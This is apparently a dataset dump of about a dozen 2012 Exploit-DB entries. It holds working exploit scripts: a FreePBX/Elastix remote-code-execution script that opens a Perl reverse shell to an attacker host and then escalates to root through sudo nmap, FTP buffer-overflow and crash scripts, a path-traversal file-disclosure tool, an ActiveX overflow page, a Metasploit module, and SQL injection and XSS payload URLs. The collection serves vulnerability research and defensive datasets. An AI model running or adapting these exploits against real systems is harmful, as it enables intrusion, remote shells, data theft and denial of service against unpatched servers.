QLWD/code_shield huggingface dataset:
标题: FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution EDB-ID: 18650 CVE: 2012-4869 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-23 漏洞利用脚本: #!/usr/bin/python
############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Google Dork: oy vey
# Date: March 23rd, 2012
# Author: muts, SSL update by Emporeo
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Tested on: multiple
# CVE : notyet
# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/ 
# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
############################################################
import urllib
import ssl
rhost="172.16.254.72"
lhost="172.16.254.223"
lport=443
extension="1000"

ssl._create_default_https_context = ssl._create_unverified_context

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.urlopen(url)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) URL: https://www.exploit-db.com/exploits/18650
标题: PHP Grade Book 1.9.4 - SQL Database Export EDB-ID: 18647 CVE: 2012-1670 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-22 漏洞利用脚本: 'PHP Grade Book' Unauthenticated SQL Database Export (CVE-2012-1670)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in admin/index.php that allows for an unauthenticated user to export the entire application database by accessing the 'Database Backup' method without restriction. Due to the way sessions are handled, an attacker can then simply pass the username and password-hash via cookies to assume the administrative role without ever knowing the clear-text version of the password.

 
II. TESTED VERSION
---------------------------------------
1.9.4


III. PoC EXPLOIT
---------------------------------------
http://localhost/phpGradeBook/admin/index.php?action=SaveSQL


IV. SOLUTION
---------------------------------------
Upgrade to 1.9.5 or above.


V. REFERENCES
---------------------------------------
http://sourceforge.net/projects/php-gradebook/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1670


VI. TIMELINE
---------------------------------------
02/29/2012 - Initial vendor disclosure
02/29/2012 - Vendor response and commitment to fix
03/01/2012 - Vendor patched and released an updated version
03/22/2012 - Public disclosure URL: https://www.exploit-db.com/exploits/18647
标题: Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT - ActiveX Control PlayerPT.ocx sprintf Buffer Overflow (PoC) EDB-ID: 18641 CVE: 2012-0284 类型: DOS 平台: WINDOWS 发布日期: 2012-03-22 漏洞利用脚本: <!--
Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT ActiveX 
Control PlayerPT.ocx sprintf Buffer Overflow Vulnerability

when viewing the device web interface it asks
to install an ActiveX control with the following settings:

ProductName: PlayerPT ActiveX Control Module
File version: 1.0.0.15
Binary path: C:\WINDOWS\system32\PlayerPT.ocx
CLSID: {9E065E4A-BD9D-4547-8F90-985DC62A5591}
ProgID: PLAYERPT.PlayerPTCtrl.1
Safe for scripting (registry): True
Safe for initialization (registry): True

try this google dork for WVC200:
linksys wireless-g ptz inurl:main.cgi

Vulnerability:
the SetSource() method is vulnerable to a buffer overflow
vulnerability. Quickly, ollydbg dump:

...
03238225   8B5424 20        mov edx,dword ptr ss:[esp+20]
03238229   894424 10        mov dword ptr ss:[esp+10],eax
0323822D   B9 32000000      mov ecx,32
03238232   33C0             xor eax,eax
03238234   8B72 F8          mov esi,dword ptr ds:[edx-8]
03238237   8DBC24 E8020000  lea edi,dword ptr ss:[esp+2E8]
0323823E   F3:AB            rep stos dword ptr es:[edi]
03238240   8B3D 0C062603    mov edi,dword ptr ds:[<&MSVCRT.sprintf>] ; msvcrt.sprintf
03238246   52               push edx
03238247   8D8C24 EC020000  lea ecx,dword ptr ss:[esp+2EC]
0323824E   68 48612603      push PlayerPT.03266148                   ; ASCII "%s"
03238253   51               push ecx
03238254   FFD7             call edi <---------------boom
...

rgod
-->
<!-- saved from url=(0014)about:internet --> 
<HTML>
<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' />
</object>
<script>
var x="";
for (i=0; i<13999; i++){
    x = x + "aaaa";
}
obj.SetSource("","","","",x);
</script> URL: https://www.exploit-db.com/exploits/18641
标题: Ricoh DC Software DL-10 SR10 FTP Server (SR10.exe) 1.1.0.6 - Remote Buffer Overflow EDB-ID: 18643 CVE: 2015-6750 2012-5002 类型: DOS 平台: WINDOWS 发布日期: 2012-03-22 漏洞利用脚本: #!/usr/bin/python
 
# Exploit Title: Ricoh DC Software DL-10 FTP Server (SR10.exe) <= 1.1.0.6 Remote Buffer Overflow Vulnerability
# Version:       <= 1.1.0.6
# Date:          2012-02-05
# Author:        Julien Ahrens
# Homepage:      www.inshell.net
# Software Link: http://www.ricohpmmc.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         Capftpd (former SR-10) is vulnerable too
# Howto:         "Log file name" has to be set

import socket,sys
import os

target="192.168.0.1"
port=21

junk1 = "\x41" * 245
boom = "\x42\x42\x42\x42" 
junk2 = "\x43" * 50

payload = junk1 + boom + junk2

print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((target, port))
    print "[*] Connected to " + target + "!"
except:
    print "[!] " + target + " didn't respond\n"
    sys.exit(0)
    
s.recv(1024)
print "[*] Sending malformed request..."
s.send('USER ' + payload + '\r\n')

print "[!] Exploit has been sent!\n"
s.close() URL: https://www.exploit-db.com/exploits/18643
标题: Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption EDB-ID: 18637 CVE: 2012-4864 类型: DOS 平台: WINDOWS 发布日期: 2012-03-21 漏洞利用脚本: #!/usr/bin/perl
#
#
# Oreans WinLicense v2.1.8.0 XML File Handling Unspecified Memory Corruption
#
#
# Vendor: Oreans Technologies
# Product web page: http://www.oreans.com
# Affected version: 2.1.8.0 (32/64bit)
#
# Summary: WinLicense combines the same protection-level as Themida with the
# power of advanced license control, offering the most powerful and flexible
# technology that allows developers to securely distribute trial and registered
# versions of their applications.
#
# Desc: WinLicense is prone to an unspecified memory corruption vulnerability.
# An attacker can exploit this issue by tricking a victim into opening a malicious
# XML file to execute arbitrary code and to cause denial-of-service conditions.
#
# Tested on: Microsoft Windows XP Professional SP3 (EN) (32bit)
#            Microsoft Windows 7 Ultimate SP1 (EN) (64bit)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2012-5080
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5080.php
#
#
# 20.03.2012
#
#

use strict;

my $file = "zsl.xml";
my $hit = "Joxy-\\x\\-Poxy";
print "\n\n[*] Creating $file file...\n";
open ZSL, ">./$file" || die "\nCan't open $file: $!";
print ZSL $hit;
print "\n[.] File successfully mounted!\n\n";
close ZSL; URL: https://www.exploit-db.com/exploits/18637
标题: phpList 2.10.17 - SQL Injection / Cross-Site Scripting EDB-ID: 18639 CVE: 2012-2741 2012-2740 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-21 漏洞利用脚本: phpList 2.10.17 Remote SQL Injection and XSS Vulnerability


Vendor: phpList Ltd
Product web page: http://www.phplist.com
Affected version: 2.10.17

Summary: phplist is the world's most popular open source
email campaign manager. phplist is free to download, install
and use, and is easy to integrate with any website. phplist
is downloaded more than 10,000 times per month.

Desc: Input passed via the parameter 'sortby' is not properly
sanitised before being returned to the user or used in SQL queries.
This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code. The param 'num' is vulnerable to a XSS issue
where the attacker can execute arbitrary HTML and script code in
a user's browser session in context of an affected site.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Vendor status:

[05.03.2012] Vulnerabilities discovered.
[19.03.2012] Submited details to the vendor's bug tracking system.
[19.03.2012] Vendor investigates, confirms and fixes the issues.
[19.03.2012] Sent patch release coordination to the vendor.
[21.03.2012] Vendor releases version 2.10.18 to address these issues.
[21.03.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5081
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5081.php

Vendor Advisory: https://www.phplist.com/?lid=567
                 https://mantis.phplist.com/view.php?id=16557


05.03.2012

---


SQLi: http://localhost/public_html/lists/admin/?blacklisted=1&change=Vai&find=&findby=email&id=0&page=users&sortorder=desc&start=0&unconfirmed=1&sortby=1[SQL Injection Point]

XSS:  http://localhost/public_html/lists/admin/?num=<script>alert(1);</script>&option=bounces&page=reconcileusers URL: https://www.exploit-db.com/exploits/18639
标题: Adobe Photoshop 12.1 - '.tiff' Parsing Use-After-Free EDB-ID: 18633 CVE: 2012-2027 类型: DOS 平台: WINDOWS 发布日期: 2012-03-20 漏洞利用脚本: #####################################################################################

Application:   Adobe Photoshop 12.1 Tiff Parsing Use-After-Free

Platforms:   Windows

{PRL}:   2012-07

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC


#####################################################################################

===============
1) Introduction
===============

 

Adobe Photoshop is a graphics editing program developed and published by Adobe Systems Incorporated.

Adobe's 2003 "Creative Suite" rebranding led to Adobe Photoshop 8's renaming to Adobe Photoshop CS.

Thus, Adobe Photoshop CS5 is the 12th major release of Adobe Photoshop. The CS rebranding also resulted

in Adobe offering numerous software packages containing multiple Adobe programs for a reduced price.

Adobe Photoshop is released in two editions: Adobe Photoshop, and Adobe Photoshop Extended, with the

Extended having extra 3D image creation, motion graphics editing, and advanced image analysis features.[6]

Adobe Photoshop Extended is included in all of Adobe's Creative Suite offerings except Design Standard,

which includes the Adobe Photoshop edition. Alongside Photoshop and Photoshop Extended, Adobe also

publishes Photoshop Elements and Photoshop Lightroom, collectively called "The Adobe Photoshop Family".

In 2008, Adobe released Adobe Photoshop Express, a free web-based image editing tool to edit photos directly

on blogs and social networking sites; in 2011 a version was released for the Android operating system and the

iOS operating system.[7][8] Adobe only supports Windows and Macintosh versions of Photoshop, but using Wine,

Photoshop CS5 can run well on Linux

 

(http://en.wikipedia.org/wiki/Adobe_Photoshop)

#####################################################################################

============================
2) Report Timeline
============================

2011-09-20  Vulnerability reported to Adobe
2012-03-20  Publication of this advisory (180 days after reporting to the vendor)


#####################################################################################

============================
3) Technical details
============================

 

The vulnerability is caused due to an error when processing Tiff file format image, which can be exploited to cause

a use-after-free by e.g. tricking a user into opening a specially crafted file.

 


#####################################################################################

===========
4) POC
===========

http://www.protekresearchlab.com/exploits/PRL-2012-07.tif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19338.tif URL: https://www.exploit-db.com/exploits/18633
标题: Tiny Server 1.1.5 - Arbitrary File Disclosure EDB-ID: 18610 CVE: 2012-5335 类型: REMOTE 平台: WINDOWS 发布日期: 2012-03-16 漏洞利用脚本: #!/usr/bin/perl -w
#Title  : Tiny Server v1.1.5 Arbitrary File Disclosure Exploit
#Author : KaHPeSeSe
#Test   : PERFECT XP PC1 / SP3
#Date   : 15/03/2012
#Thanks : exploit-db.com

use LWP::Simple;
use LWP::UserAgent;

 system('color','A');
 system('cls');
 
   print "\n\t____________________________________________________________________\n";
   print "\n\t....... Tiny Server v1.1.5 Arbitrary File Disclosure Exploit .......\n";
   print "\n\t....... Founded and Exploited by KaHPeSeSe                   .......\n";
   print "\n\t____________________________________________________________________\n\n";

 if(@ARGV < 3)
  {
   print "[-] Error!\n";
   print "[-] Look to example\n\n";
   &help; exit();
           }
 sub help()
  {
   print "[+] How  to : perl $0 IP Port File\n";
   print "[+] Example : perl $0 192.168.1.2 80 windows/system.ini\n";
           }
   ($TargetIP, $Port, $File) = @ARGV;
   print("Connet to Server.... \n");
   sleep(2);
   $path="/../../";
   my $link = "http://" . $TargetIP . ":" . $Port . $path . $File;
   print("Connected\n");
   sleep(2);
   print("Waiting for moment\n");
   sleep(1);
   print("Done! Reading $File...\n");
   sleep(3);
   $ourfile=get $link;
 if($ourfile)
  {
   print("\n\n____________________________________________________\n\n");
   print("$ourfile \n\n");
   print("_____________________________________________________\n\n");
           }
 else
 {
   print("_____________________________________________________\n\n");
   print(" Not Found !!!\n\n");
   print("_____________________________________________________\n\n");
   exit;
           } URL: https://www.exploit-db.com/exploits/18610
标题: PRE PRINTING STUDIO - SQL Injection EDB-ID: 18614 CVE: 2012-5333 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-17 漏洞利用脚本: # Exploit Title:   PRE PRINTING STUDIO Sql Injection
# Date: 16/03/2012
# Author: r45c4l
# Email: infosecpirate@gmail.com
# Script url: http://www.preprojects.com/preprojects/printing.asp 
# Version: N/A
# CVE : ()

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Product Description : 

A complete printing press website script contains all features required for online printing business. Developed in PHP, MYSQL and Flash AS3, with all browsers compatibility and easy to navigate. Package contains builtin designers to customize designs online, shopping cart and complete users and orders modules.Product is user friedly and can fully operate via secure admin panel.Script is fully customizable and ready to upload to start your printing press now.


Product Cost : 999$ 



=================Exploit=================================================
                                    ---ICW---
 [ EXPL0!T ]

 SQL Injection
 p0c - http://SERVER/prestudio/page.php?id=[SQli] 


 d0rk - use your brain ;) 


 Some intresting tables and columns: 

 Table : admin   Columns : password, username, id 

 Table : users  columns : email, id

===========================================================================
Greetz to : Beenu Arora, Godwin Austin, Eberly, b0nd, the_empty_, micr0, Hoody, sam
            All members of ICW, AH and G4H, and all Indian Hackers


                    
Special Greetz to :  b4ltazar and s1nn3r
   

         === End () ==== URL: https://www.exploit-db.com/exploits/18614
标题: ASP Classifieds - SQL Injection EDB-ID: 18613 CVE: 2007-2675 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-17 漏洞利用脚本: # Exploit Title: ASP Classifieds Sql Injection
# Date: 17/03/2012
# Author: r45c4l
# Email: infosecpirate@gmail.com
# Script url: http://preproject.com/pclasp/home/default.asp
# Version: N/A
# CVE : ()

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Product Description :

ASP Classifieds is one of the most customizable Classified ad program
that exist for ASP and Access. Unlimited Images , unlimited categories
and much much more makes it perfect for those who wants to set up a used
stamps classifieds to those wanting to show and sell real estates. 


Product Cost : 58$



=======================Exploit====================================
                      ---ICW---
                                        
                                        
                                        
[ EXPL0!T ]

SQL Injection
p0c -
http://SERVER/classi/search.php?category=[SQli]

PoC - 

http://SERVER/classi/search.php?category=-1+union+all+select+version()--

[Note: Tested on demo website]

d0rk - use your brain ;)

===========================================================================
Greetz to : Beenu Arora, Godwin Austin, Eberly, b0nd, the_empty_, micr0,
Hoody, sam

All members of ICW, AH and darkc0de, and all Indian Hackers



Special Greetz to : b4ltazar and s1nner_01


=== End () ==== URL: https://www.exploit-db.com/exploits/18613
标题: Pre Printing Press - 'product_desc.php?pid' SQL Injection EDB-ID: 18616 CVE: 2012-5334 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-18 漏洞利用脚本: ========================================================================================
| # Title    : Pre Printing Press product_desc.php (pid) SQL Injection Vulnerability
| # Author   : Easy Laster
| # Script   : Pre Printing Press
| # Price    : $999
| # Exploitation : remote
| # Bug      : SQL Injection
| # Date     : 18.03.2012
| # Language : PHP
| # Status   : vulnerable
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah
======================        Proof of Concept         =================================


  [+] Introduction
  
   A complete printing press website script contains all features required for online printing
   business. Developed in PHP, MYSQL and Flash AS3, with all browsers compatibility and easy 
   to navigate. Package contains builtin designers to customize designs online, shopping cart 
   and complete users and orders modules.Product is user friedly and can fully operate via 
   secure admin panel.Script is fully customizable and ready to upload to start your printing 
   press now.

  [+] Vulnerability

    http://[host]/[path]/prestudio/product_desc.php?pid=[vul]
  
  [+] Injectable

    http://[host]/[path]/prestudio/product_desc.php?pid=1
    +union+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1--+&cid=&sid=

  [+] Fix
  
    No fix. URL: https://www.exploit-db.com/exploits/18616
标题: TYPSoft FTP Server 1.1 - 'APPE' Remote Denial of Service EDB-ID: 18615 CVE: 2012-5329 类型: DOS 平台: WINDOWS 发布日期: 2012-03-17 漏洞利用脚本: #!/usr/bin/python
###############################################################################
# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE command.
# Date of Discovery: 3/16/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://sourceforge.net/projects/ftpserv/
# Software Version: 1.1
# Target OS: Windows 7
# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled by default. 
###############################################################################

import socket, sys

if len(sys.argv)!= 2:
     print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'
     sys.exit(1)

print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


buffer = 'A../' + '\x41' *100 

print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'

s.connect((host,21))

data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('APPE ' + buffer + '\r\n')

print '\n\t[*] Done! Target should be unresponsive!'

s.close() URL: https://www.exploit-db.com/exploits/18615
标题: Netmechanica NetDecision HTTP Server 4.5.1 - Remote Buffer Overflow (Metasploit) EDB-ID: 18604 CVE: 2012-1465 类型: REMOTE 平台: WINDOWS 发布日期: 2012-03-15 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "NetDecision 4.5.1 HTTP Server Buffer Overflow",
   'Description'    => %q{
     This module exploits a vulnerability found in NetDecision's HTTP service
    (located in C:\Program Files\NetDecision\Bin\HttpSvr.exe).  By supplying a
    long string of data to the URL, an overflow may occur if the data gets handled
    by HTTP Server's active window.  In other words, in order to gain remote code
    execution, the victim is probably looking at HttpSvr's window.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Prabhu S Angadi',  #Discovery, DoS PoC
     'sinn3r'            #Metasploit
    ],
   'References'     =>
    [
     ['OSVDB', '79651'],
     ['URL', 'http://secunia.com/advisories/48168/'],
     ['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x26\x27\x3f",
     'StackAdjustment' => -3500,
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "seh",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'NetDecision 4.5.1 on XP SP3',
      {
       # POP/POP/RET - OLEACC.dll
       'Ret'    => 0x74C869E2,
       'Offset' => 1620
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Feb 24 2012",
   'DefaultTarget'  => 0))
 end

 def check
  res = send_request_cgi({'uri'=>'/'})
  banner = res.headers['Server']
  if banner =~ /NetDecision\-HTTP\-Server\/1\.0/
   return Exploit::CheckCode::Vulnerable
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  buf = "/"
  buf << rand_text_alpha(675, payload_badchars)
  buf << pattern_create(5) #Avoid TerminateProcess()
  buf << rand_text_alpha(target['Offset']-buf.length, payload_badchars)
  buf << "\xeb\x06" + rand_text_alpha(2, payload_badchars)
  buf << [target.ret].pack('V*')
  buf << payload.encoded
  buf << rand_text_alpha(8000-buf.length, payload_badchars)

  print_status("#{rhost}:#{rport} - Sending #{self.name}...")

  send_request_raw({
   'method' => 'GET',
   'uri'    => buf
  })

  handler
 end
end URL: https://www.exploit-db.com/exploits/18604